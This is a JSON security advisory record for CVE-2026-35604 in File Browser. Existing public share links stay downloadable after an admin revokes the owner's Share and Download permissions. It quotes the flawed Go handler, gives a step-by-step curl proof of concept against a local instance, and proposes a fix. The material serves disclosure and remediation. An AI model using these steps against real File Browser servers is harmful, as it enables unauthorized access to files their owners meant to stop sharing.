{"id":"GHSA-v9w4-gm2x-6rvf","summary":"File Browser share links remain accessible after Share/Download permissions are revoked","details":"When an admin revokes a user's Share and Download permissions, existing share links created by that user remain fully accessible to unauthenticated users. The public share download handler does not re-check the share owner's current permissions. Verified with a running PoC against v2.62.2 (commit 860c19d).\n\n## Details\n\nShare creation (`http/share.go:21-29`) correctly checks permissions:\n\n    func withPermShare(fn handleFunc) handleFunc {\n        return withUser(func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            if !d.user.Perm.Share || !d.user.Perm.Download {\n                return http.StatusForbidden, nil\n            }\n            return fn(w, r, d)\n        })\n    }\n\nBut share access (`http/public.go:18-87`, `withHashFile`) does not:\n\n    var withHashFile = func(fn handleFunc) handleFunc {\n        return func(w http.ResponseWriter, r *http.Request, d *data) (int, error) {\n            link, err := d.store.Share.GetByHash(id)   // line 21: checks share exists\n            authenticateShareRequest(r, link)            // line 26: checks password\n            user, err := d.store.Users.Get(...)          // line 31: checks user exists\n            d.user = user                                // line 36: sets user\n            file, err := files.NewFileInfo(...)           // line 38: gets file\n            // MISSING: no check for d.user.Perm.Share or d.user.Perm.Download\n        }\n    }\n\n## Proof of Concept (runtime-verified)\n\n    # Step 1: Login as admin\n    TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\"username\":\"admin\",\"password\":\"\u003cadmin-password\u003e\"}')\n\n    # Step 2: Create testuser with Share+Download permissions\n    curl -X POST http://localhost:18080/api/users \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d '{\"what\":\"user\",\"which\":[],\"current_password\":\"\u003cadmin-password\u003e\",\n           \"data\":{\"username\":\"testuser\",\"password\":\"TestPass123!\",\"scope\":\".\",\n           \"perm\":{\"share\":true,\"download\":true,\"create\":true}}}'\n\n    # Step 3: Login as testuser and create share\n    USER_TOKEN=$(curl -s -X POST http://localhost:18080/api/login \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\"username\":\"testuser\",\"password\":\"TestPass123!\"}')\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -H \"Content-Type: application/json\" -d '{}'\n    # Returns: {\"hash\":\"fB4Qwtsn\",\"path\":\"/secret.txt\",\"userID\":2,\"expire\":0}\n\n    # Step 4: Verify share works (unauthenticated)\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK)\n\n    # Step 5: Admin revokes testuser's Share and Download permissions\n    curl -X PUT http://localhost:18080/api/users/2 \\\n      -H \"X-Auth: $TOKEN\" -H \"Content-Type: application/json\" \\\n      -d '{\"what\":\"user\",\"which\":[\"all\"],\"current_password\":\"\u003cadmin-password\u003e\",\n           \"data\":{\"id\":2,\"username\":\"testuser\",\"scope\":\".\",\n           \"perm\":{\"share\":false,\"download\":false,\"create\":true}}}'\n\n    # Step 6: Verify testuser CANNOT create new shares\n    curl -X POST http://localhost:18080/api/share/secret.txt \\\n      -H \"X-Auth: $USER_TOKEN\" -d '{}'\n    # Returns: 403 Forbidden (correct)\n\n    # Step 7: THE BUG - old share STILL works\n    curl http://localhost:18080/api/public/dl/fB4Qwtsn\n    # Returns: file content (200 OK) - SHOULD be 403\n\n## Impact\n\nWhen an admin revokes a user's Share or Download permissions:\n- New share creation is correctly blocked (403)\n- But all existing shares created by that user remain fully accessible to unauthenticated users\n- The admin has a false sense of security: they believe revoking Share permission stops all sharing\n\nThis is the same vulnerability class as GHSA-68j5-4m99-w9w9 (\"Authorization Policy Bypass in Public Share Download Flow\").\n\n## Suggested Fix\n\nAdd permission re-validation in `withHashFile`:\n\n    user, err := d.store.Users.Get(d.server.Root, link.UserID)\n    if err != nil {\n        return errToStatus(err), err\n    }\n\n    // Verify the share owner still has Share and Download permissions\n    if !user.Perm.Share || !user.Perm.Download {\n        return http.StatusForbidden, nil\n    }\n\n    d.user = user\n\n---\n\n**Update:** Fix submitted as PR #5888.","aliases":["CVE-2026-35604"],"modified":"2026-04-08T00:21:55.786289Z","published":"2026-04-08T00:04:59Z","database_specific":{"nvd_published_at":"2026-04-07T17:16:34Z","github_reviewed":true,"cwe_ids":["CWE-863"],"github_reviewed_at":"2026-04-08T00:04:59Z","severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-v9w4-gm2x-6rvf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35604"},{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/pull/5888"},{"type":"PACKAGE","url":"https://github.com/filebrowser/filebrowser"}],"affected":[{"package":{"name":"github.com/filebrowser/filebrowser/v2","ecosystem":"Go","purl":"pkg:golang/github.com/filebrowser/filebrowser/v2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.63.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-v9w4-gm2x-6rvf/GHSA-v9w4-gm2x-6rvf.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}]}